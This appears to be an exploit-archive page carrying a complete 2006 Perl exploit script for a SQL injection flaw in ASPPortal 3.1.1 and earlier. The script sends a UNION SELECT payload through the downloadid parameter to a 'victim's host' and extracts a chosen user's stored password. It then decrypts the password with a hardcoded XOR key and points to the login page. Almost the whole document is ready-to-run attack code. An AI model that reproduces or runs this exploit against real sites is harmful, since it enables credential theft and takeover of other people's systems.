[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ASPPortal <= 3.1.1 (downloadid) Remote SQL Injection Exploit
# Published : 2006-03-20
# Author : nukedx
# Previous Title : gCards <= 1.45 Multiple Vulnerabilities All-In-One Exploit
# Next Title : SoftBB 0.1 (mail) Remote Blind SQL Injection Exploit


#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=21
#Usage: aspp.pl <host> <path> <user>
use IO::Socket;
use Math::BigInt;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print "n- NukedX Security Advisory Nr.2006-21rn";
  print "- ASPPortal <= 3.1.1 Remote SQL Injection Exploitrn";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path> <user>rn";
  print "- <host> -> Victim's host ex: www.victim.comrn";
  print "- <path> -> Path to ASPPortal  ex: /portal/rn";
  print "- <user> -> Username that you want password. ex: adminrn";
  exit();
}
sub decrypt ()
{
  $lp = length($appass);
  $apkey = "IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG'=I+@5%*+OP:F_=';'NSY`-^S.`AA=BJ3M0.WF#T5LGK(=/<:+C2K/^7AI$;PU'OME2+T8ND?W$C(J,;631'M-LD5F%%1TF_&K2A-D-54[2P,#'*JU%6`0RF3CMF0(#T07U'FZ=>#,+.AW_/+']DIB;2DTIA57TT&-)O'/*F'M>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*@)X9F`_`%QA3Z95.?_T#1,$2#FWW5PBH^*<])A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q].KG&0N0];[LJ<OZ6IN?7N4<GTL?(M'4S8+3JMK5]HC%^1^+K;\$WBXPA?F&5^ED$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y&SA%#1<V";
  if ($lp == 0) { die("- An error occuruedrn"); }
  for ($i = 0; $i < $lp ; $i++) {
    $f = $lp - $i - 1; # Formula for getting character via substr...
    $n = substr($apkey,$f,1);
    $l = substr($appass,$f,1);
    $appwd = chr(ord($n)^ord($l)).$appwd;
  }
  print "- Password decrypted as: $appwdrn";
  print "- Lets go $aphost$apdir$apfinal for loginrn";
  exit();
}
sub exploit () 
{
  #Our variables...
  $apserver = $ARGV[0];
  $apserver =~ s/(http://)//eg;
  $aphost   = "http://".$apserver;
  $apdir    = $ARGV[1];
  $apport   = "80";
  $aptar    = "content/downloads/download_click.asp?downloadid=";
  $apfinal  = "content/users/login.asp";
  $apxp     = "-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,password+FROM+users+where+username='$ARGV[2]'";
  $apreq    = $aphost.$apdir.$aptar.$apxp;
  #Sending data...
  header();
  print "- Trying to connect: $apserverrn";
  $ap = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$apserver", PeerPort => "$apport") || die "- Connection failed...n";
  print $ap "GET $apreq HTTP/1.1n";
  print $ap "Accept: */*n";
  print $ap "Referer: $aphostn";
  print $ap "Accept-Language: trn";
  print $ap "User-Agent: NukeZillan";
  print $ap "Cache-Control: no-cachen";
  print $ap "Host: $apservern";
  print $ap "Connection: closenn";
  print "- Connected...rn";
  while ($answer = <$ap>) {
    if ($answer =~ /string: &quot;(.*?)&quot;]'/) {
      print "- Exploit succeed! Getting $ARGV[2]'s informationrn";
      print "- Username: $ARGV[2]rn";
      print "- Decrypting password....rn";
      $appass = $1;
      $appass =~ s/(&quot;)/chr(34)/eg;
      $appass =~ s/(&lt;)/chr(60)/eg;
      $appass =~ s/(&gt;)/chr(62)/eg;
      $appass =~ s/(&nbsp;)/chr(32)/eg;
      decrypt();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of ASPPortal is vulnerable toorn";
      print "- but default query of SQL-Inj. does not work on itrn";
      print "- So please edit query by manually adding null data..rn";
      exit(); 
    }
  }
  #Exploit failed...
  print "- Exploit failedn"
}

# www.Syue.com [2006-03-20]